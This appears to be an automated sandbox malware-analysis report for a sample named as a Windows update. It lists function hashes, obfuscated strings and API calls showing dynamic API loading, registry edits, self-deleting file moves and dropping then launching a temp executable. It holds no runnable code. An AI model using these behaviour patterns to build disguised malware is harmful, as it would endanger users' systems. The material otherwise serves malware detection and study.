                                                                    • Instruction ID: 91d239ce8c3ec9bc864000ee122172ece4c8541e5da3e4e88b6e0ad87dd54bef
                                                                    • Opcode Fuzzy Hash: c295cc2e9cb841625434bd69c2be57921d73015333ff570b30f8570a734b9d5d
                                                                    • Instruction Fuzzy Hash: 74A012743022008BD3149F306E0501039A09E002013411075E500C1230D7700004D519
                                                                    APIs
                                                                    • SetUnhandledExceptionFilter.KERNEL32 ref: 00427333
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: ExceptionFilterUnhandled
                                                                    • String ID:
                                                                    • API String ID: 3192549508-0
                                                                    • Opcode ID: 2ab6f6718f042291c8c0e3391e57a3836615d8269b254a55ffda52550e9e3c4b
                                                                    • Instruction ID: 8169098ac00662e5d218563eb379ef12e921e05fa147c2ad6ec4e4497947ff53
                                                                    • Opcode Fuzzy Hash: 2ab6f6718f042291c8c0e3391e57a3836615d8269b254a55ffda52550e9e3c4b
                                                                    • Instruction Fuzzy Hash:
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: CountTick
                                                                    • String ID: %c%c%c%c%c
                                                                    • API String ID: 536389180-1277064353
                                                                    • Opcode ID: daa91acc0e97e6ab900b670a7356a182af056bc5419cf5b0c7a93d0f2983e8bb
                                                                    • Instruction ID: 4dc9e3df276925cb3a034685040d612f820b75638e41f6e52d904118c8461c86
                                                                    • Opcode Fuzzy Hash: daa91acc0e97e6ab900b670a7356a182af056bc5419cf5b0c7a93d0f2983e8bb
                                                                    • Instruction Fuzzy Hash: CD5105706083409BD304EB26C9C2B9FB6E7AFC9714F04CA3FB159672D1DABC94448B5A
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4374541c7480c9de861eca13ad143b888a03e34fd4b500e75caf825a3247e9c9
                                                                    • Instruction ID: 3cdbe674e5470716266b0416ac65ed08902d21a00894794e9fc3ed7962c02048
                                                                    • Opcode Fuzzy Hash: 4374541c7480c9de861eca13ad143b888a03e34fd4b500e75caf825a3247e9c9
                                                                    • Instruction Fuzzy Hash: F721D632A00614DFCB14DF69D8809ABB7A5FF45310B8A80A9E915CB286E734F915CBF0
                                                                    APIs
                                                                    • GetProcAddress.KERNEL32(00000000,0000006B), ref: 0041D4A3
                                                                    • LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000007,?,00000001), ref: 0041D53F
                                                                    • GetProcAddress.KERNEL32(00000000,0000009A), ref: 0041D637
                                                                    • GetProcAddress.KERNEL32(00000000,000000A5), ref: 0041D6A1
                                                                    • GetProcAddress.KERNEL32(00000000,000000EA), ref: 0041D718
                                                                    • GetProcAddress.KERNEL32(00000000,00000088), ref: 0041D80A
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041D967
                                                                    • LoadLibraryA.KERNEL32(00000040), ref: 0041D9FF
                                                                    • GetProcAddress.KERNEL32(00000000,0000008A), ref: 0041DA87
                                                                    • GetProcAddress.KERNEL32(00000000,00000000), ref: 0041DB60
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: AddressProc$LibraryLoad
                                                                    • String ID: $$$$$$&$&$+$/$1$1$2$6$6$7$8$9$9$:$;$<$<$>$@$A$B$H$H$H$I$I$I$J$J$L$L$L$M$M$N$S$S$S$S$T$T$W$W$X$X$_$`$`$`$`$e$g$g$g$h$h$i$l$m$o$p$q$r$t$t$u$v$w$w$x$x$y$|$~
                                                                    • API String ID: 2238633743-3939626055
                                                                    • Opcode ID: c0813e0e13b3bdf5361ae911ad3d7297fecab97c2126bead805d02d7372984c4
                                                                    • Instruction ID: 4ea2d180e8293730c515bf7f31d434ed5d52511cef3b66f0afd499666270cbed
                                                                    • Opcode Fuzzy Hash: c0813e0e13b3bdf5361ae911ad3d7297fecab97c2126bead805d02d7372984c4
                                                                    • Instruction Fuzzy Hash: 0452A72000CBC2C9D332D27C584879FBFD11BA7228F584B9DE1F95A2E2D7A68146C767
                                                                    APIs
                                                                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A5,00000000,00000001,00000001,00000000,00000000,00000001,00000001), ref: 00414E44
                                                                    • CreateThread.KERNEL32(00000000,00000000,00401260,?,00000000,?), ref: 00414E6E
                                                                    • CreateThread.KERNEL32(00000000,00000000,004191C0,?,00000000,?), ref: 00414EF5
                                                                    • WaitForMultipleObjects.KERNEL32(0000000A,?,00000001,000000FF,?,00000001), ref: 00414F35
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Create$Thread$EventMultipleObjectsWait
                                                                    • String ID: $$$$$%$&$&$&$($($($($($($)$)$*$*$*$*$*$+$+$,$,$-$-$-$.$/$1$5$6$7$8$9$>$@$@$A$C$D$E$E$H$L$S$V$X$Z$Z$[$\$c$g$k$l$p$q$v$v$w$z$}$}
                                                                    • API String ID: 235807246-2775756417
                                                                    • Opcode ID: a6afbd8884c598ed69450247ac07e46a6a6b8b414b765670315f290819311f0a
                                                                    • Instruction ID: b6b29a9a05f7405d77ba8641239e9328c4f6afcdac9f5fec8354e56a50ce38c0
                                                                    • Opcode Fuzzy Hash: a6afbd8884c598ed69450247ac07e46a6a6b8b414b765670315f290819311f0a
                                                                    • Instruction Fuzzy Hash: A522283110C7C18AE332C7689859BDFBFD45BA7318F484A9EE1E95B2D2C6B90109C767
                                                                    APIs
                                                                    • RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00413420
                                                                    • RegDeleteValueA.ADVAPI32(?,?), ref: 00413451
                                                                    • RegCloseKey.ADVAPI32(?), ref: 0041345C
                                                                    • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00413472
                                                                    • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041348A
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 0041357C
                                                                    • DeleteFileA.KERNEL32(?), ref: 0041358C
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004136BF
                                                                    • DeleteFileA.KERNEL32(?), ref: 004136C9
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004137F1
                                                                    • DeleteFileA.KERNEL32(?), ref: 004137FB
                                                                    • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041380C
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000078,?,00000104), ref: 004138E6
                                                                    • DeleteFileA.KERNEL32(?), ref: 004138F0
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004139C6
                                                                    • DeleteFileA.KERNEL32(?), ref: 004139D0
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00413AA6
                                                                    • DeleteFileA.KERNEL32(?), ref: 00413AB0
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$Delete$EnvironmentExpandStrings$Move$CloseModuleNameOpenValue
                                                                    • String ID: '$'$'$'$'$'$0$0$0$0$0$0$4$4$4$4$4$4$:$:$:$:$:$<$F$F$Y$Y$Y$Y$Y$^$e$h$m$m$r$s$t$t$t$x$x$x$x$x$z$z$z$z$z$z${${${${${${rest
                                                                    • API String ID: 3238871166-1982327307
                                                                    • Opcode ID: eb28d1edef8d5a0ebcf80e1393b2c75a925ba66498ea7eb4a4f4807419b03660
                                                                    • Instruction ID: 8932c8d423f86795222f4535f9e39ef289d62bf3872af0266dd33df7fd326858
                                                                    • Opcode Fuzzy Hash: eb28d1edef8d5a0ebcf80e1393b2c75a925ba66498ea7eb4a4f4807419b03660
                                                                    • Instruction Fuzzy Hash: 5042961110D7C2C9D332D67C984878FBFD51BA7228F484F8DE1E95B2E2C6A98249C767
                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32(00000008,00000400), ref: 00422D24
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 00422D2D
                                                                    • GetProcessHeap.KERNEL32(00000008,?), ref: 00422D38
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 00422D3B
                                                                    • RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,000F003F,?), ref: 00422D51
                                                                    • RegQueryValueExA.ADVAPI32(?,0000003B,00000000,00000000,00000000,?), ref: 00422D6E
                                                                    • RegCloseKey.ADVAPI32(?), ref: 00422D7D
                                                                    • _strncpy.LIBCMT ref: 00422DD1
                                                                    • RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,00000054), ref: 00422E90
                                                                    • RegCloseKey.ADVAPI32(?,?,00000054), ref: 00422EA7
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,?,00000054), ref: 00422EB6
                                                                    • HeapFree.KERNEL32(00000000,?,00000054), ref: 00422EBF
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,?,00000054), ref: 00422EC4
                                                                    • HeapFree.KERNEL32(00000000,?,00000054), ref: 00422EC7
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$Process$AllocCloseFreeValue$OpenQuery_strncpy
                                                                    • String ID: !$"$#$%$'$'$)$,$,$,$.$/$1$4$4$4$6$8$9$;$<$?$B$E$F$G$G$K$N$N$P$P$Q$Q$R$S$S$T$T$W$W$X$Z$\$]$b$c$c$e$g$t$u$v$x$x$x${$}$~
                                                                    • API String ID: 3932281191-2427493838
                                                                    • Opcode ID: 1e99909b19aa585da5ead2d891978beee004937c050dea2f45ef4ffdaa32fc77
                                                                    • Instruction ID: 4784c4b2e2af174b486d3fa0099c06b4624002471a15ad2e25fd25ecae521a18
                                                                    • Opcode Fuzzy Hash: 1e99909b19aa585da5ead2d891978beee004937c050dea2f45ef4ffdaa32fc77
                                                                    • Instruction Fuzzy Hash: 8002182120C7C19ED332C63C994879BBFD15BA7218F484A9DE1E85B3D2C7B98509C76B
                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32(00000008,000000FF), ref: 00422800
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 00422807
                                                                    • RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,000F003F,6D4244C0), ref: 00422821
                                                                    • RegQueryValueExA.ADVAPI32(?,00000054,00000000,00000000,00000000,?), ref: 0042283E
                                                                    • RegCloseKey.ADVAPI32(6D4244C0), ref: 0042284D
                                                                    • RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,00000002,?,0000005C), ref: 004228DF
                                                                    • RegCloseKey.ADVAPI32(?,?,0000005C), ref: 004228F0
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000,?,0000005C), ref: 004228F9
                                                                    • HeapFree.KERNEL32(00000000,?,0000005C), ref: 00422900
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$CloseProcessValue$AllocFreeOpenQuery
                                                                    • String ID: !$"$%$&$'$($)$/$1$1$5$8$:$;$>$>$A$D$E$G$H$K$K$L$N$P$Q$R$R$S$S$S$T$Z$Z$\$]$b$b$d$d$f$g$j$j$m$p$q$s$v${${$~$~
                                                                    • API String ID: 1874932168-1336078793
                                                                    • Opcode ID: 437fdbd436a05d19afb7f5867172574a4622868046f25b3dfc0edf86c844fae6
                                                                    • Instruction ID: bbaaf71f1dd44b42d8da240f366e0f2ce8dd36e8536a405cef6b64a909e2b2a5
                                                                    • Opcode Fuzzy Hash: 437fdbd436a05d19afb7f5867172574a4622868046f25b3dfc0edf86c844fae6
                                                                    • Instruction Fuzzy Hash: FBF1D62110C7C18DD332C67C984879BBFD15BA7228F484A9DE1E84B3E3C7A98549C767
                                                                    APIs
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004136BF
                                                                    • DeleteFileA.KERNEL32(?), ref: 004136C9
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004137F1
                                                                    • DeleteFileA.KERNEL32(?), ref: 004137FB
                                                                    • MoveFileExA.KERNEL32(?,00000000,00000004(MOVEFILE_DELAY_UNTIL_REBOOT)), ref: 0041380C
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000078,?,00000104), ref: 004138E6
                                                                    • DeleteFileA.KERNEL32(?), ref: 004138F0
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004139C6
                                                                    • DeleteFileA.KERNEL32(?), ref: 004139D0
                                                                    • ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00413AA6
                                                                    • DeleteFileA.KERNEL32(?), ref: 00413AB0
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: File$DeleteEnvironmentExpandStrings$Move
                                                                    • String ID: '$'$'$'$0$0$0$0$4$4$4$4$:$:$:$:$<$F$F$Y$Y$Y$Y$^$h$m$m$t$t$x$x$x$x$z$z$z$z${${${${
                                                                    • API String ID: 1654938343-3628898711
                                                                    • Opcode ID: e9b6a916e27b3cf29a9a65f7cf79a47c5e7352404d4b86a79d6f692a307431ad
                                                                    • Instruction ID: ffda26696a7c03ebfd7e55884b4f9ff3b6aa4abcfec39c9677275916e54d1851
                                                                    • Opcode Fuzzy Hash: e9b6a916e27b3cf29a9a65f7cf79a47c5e7352404d4b86a79d6f692a307431ad
                                                                    • Instruction Fuzzy Hash: 05D1A91100C7C289D322D67C945878FFFD51BE7228F484F9DE1E99A2D2C6AA824DC767
                                                                    APIs
                                                                    • GetProcessHeap.KERNEL32(00000000,00080000), ref: 00401BC5
                                                                    • HeapAlloc.KERNEL32(00000000), ref: 00401BCC
                                                                    • Sleep.KERNEL32(000493E0), ref: 00401C28
                                                                    • Sleep.KERNEL32(000003E8), ref: 00401C4B
                                                                    • GetTempPathA.KERNEL32(00000104,?), ref: 00401D10
                                                                    • GetTempFileNameA.KERNEL32(?,0042E290,00000000,?), ref: 00401D2D
                                                                    • CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00401D5A
                                                                    • WriteFile.KERNEL32(00000000,00000007,?,?,00000000), ref: 00401D7B
                                                                    • CloseHandle.KERNEL32(00000000), ref: 00401D93
                                                                    • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00401DD0
                                                                    • CloseHandle.KERNEL32(?), ref: 00401DDF
                                                                    • CloseHandle.KERNEL32(?), ref: 00401DED
                                                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00401E5C
                                                                    • HeapFree.KERNEL32(00000000), ref: 00401E63
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1540185613.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1540172036.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540207615.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540222679.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.000000000045A000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1540236258.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_Update-KB4890-x86.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$CloseFileHandleProcess$CreateSleepTemp$AllocFreeNamePathWrite
                                                                    • String ID: '$+$,$-$0$2$4$:$;$@$A$B$C$D$I$K$N$P$S$T$U$Y$\$^$c$e$p$r$v$y$z${$}
